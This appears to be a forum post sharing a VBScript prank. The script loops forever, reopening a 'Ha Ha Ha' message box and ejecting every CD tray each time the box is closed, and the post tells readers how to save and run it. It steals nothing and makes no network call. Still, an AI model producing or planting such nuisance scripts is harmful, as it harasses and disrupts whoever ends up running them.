hakermidget

Hi everybody, I'm new, but I tweaked the vbs script that was provided by gunsmokingman- kudos to him, by the way, and created a fun little program, if a slightly annoying one... It opens a window which says Ha Ha Ha Ha Ha... and will immediately reopen if closed. In addition, any direct attempt to close it (ie. clicking "ok" or x-ing out) will result in your disk drive opening, and the window reopening. To close it, log off, shut down, or use the task manager (CTRL+ALT+DEL). Well, enough blabbing... DO WHile 3<4 Dim ts Dim strDriveLetter Dim intDriveLetter Dim fs 'As Scripting.FileSystemObject Const CDROM = 4 On Error Resume Next Set fs = CreateObject("Scripting.FileSystemObject") strDriveLetter = "" For intDriveLetter = Asc("A") To Asc("Z") Err.Clear If fs.GetDrive(Chr(intDriveLetter)).DriveType = CDROM Then If Err.Number = 0 Then strDriveLetter = Chr(intDriveLetter) Exit For End If End If Next MSGBOX[b] "Ha Ha Ha Ha Ha Ha" & strDriveLetter,VBOKONLY + 48,"SOulEater101 " & strDriveLetter Set oWMP = CreateObject("WMPlayer.OCX.7" ) Set colCDROMs = oWMP.cdromCollection For d = 0 to colCDROMs.Count - 1 colCDROMs.Item(d).Eject Next 'null 'A1= msgbox ("Press key To Close Cd" & vbcrlf &_ ' " The Cd Will Close", 0 + 64, "Open Close Cd Tray") ' For d = 0 to colCDROMs.Count 1 ' colCDROMs.Item(0).Eject 'Next 'null set owmp = nothing set colCDROMs = nothing loop Paste that into notebook and save as a ".vbs" file (for you newbies like me out there, I only learned a tiny bit about vbs last month, and that was by looking at how to write one program (an unclosable text box) via insructions on youtube...) Please note that "Ha ha ha ha ha" and "SOuleater101" can be changed to whatever you want...